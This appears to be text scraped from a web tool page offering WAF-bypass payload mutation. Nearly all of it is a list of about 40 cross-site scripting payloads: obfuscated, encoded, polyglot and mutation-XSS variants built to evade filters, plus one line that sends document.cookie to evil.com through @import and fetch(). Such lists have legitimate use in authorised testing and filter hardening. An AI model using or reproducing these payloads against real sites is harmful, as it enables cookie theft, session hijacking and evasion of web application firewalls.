$loading...
Three tools, one workspace. Transform payloads, target specific WAF vendors, or generate 50+ bypass mutations — all client-side.
<ScRiPt>alert(1)</sCrIpT>
%253Cscript%253Ealert(1)%253C/script%253E
<script>\u0061lert(1)</script>
<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
javascript:/*--></title></style></textarea></script><svg onload=alert(1)//>
<form id=x><input name=y></form><script>alert(x.y)</script>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<script>`${alert(1)}`</script><scr%00ipt>alert(1)</scr%00ipt>
<div style="background:url(javascript:alert(1))">
<a href="data:text/html,<script>alert(1)</script>">click</a>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
<img src=x onerror=window[`al`+`ert`](1)>
<img src=x onerror=eval(atob(`YWxlcnQoMSk=`))>
<svg><use xlink:href="data:image/svg+xml,<svg id=x xmlns=http://www.w3.org/2000/svg><image href=1 onerror=alert(1) /></svg>#x" />
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror="al ert(1)">
<script>al/**/ert(1)</script>
<object data="javascript:alert(1)">
<iframe srcdoc="<script>alert(1)</script>">
<math><maction actiontype="statusline#" xlink:href="javascript:alert(1)">click
<style>@import url("http://evil.com/steal?data="+document.cookie)</style><img src=x onerror="fetch(`http://evil.com/`+document.cookie)">
<script>Object.prototype.innerHTML="<img src=x onerror=alert(1)>"</script>
<![CDATA[<script>alert(1)</script>]]>
<script>alert`1`</script>
<script>name="alert(1)";eval(name)</script>
<script>eval(location.hash.slice(1))</script>#alert(1)
<script>top[/al/.source+/ert/.source](1)</script>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
<select autofocus onfocus=alert(1)><option>1</option></select>
<video><source onerror=alert(1)>
＜script＞alert(1)＜/script＞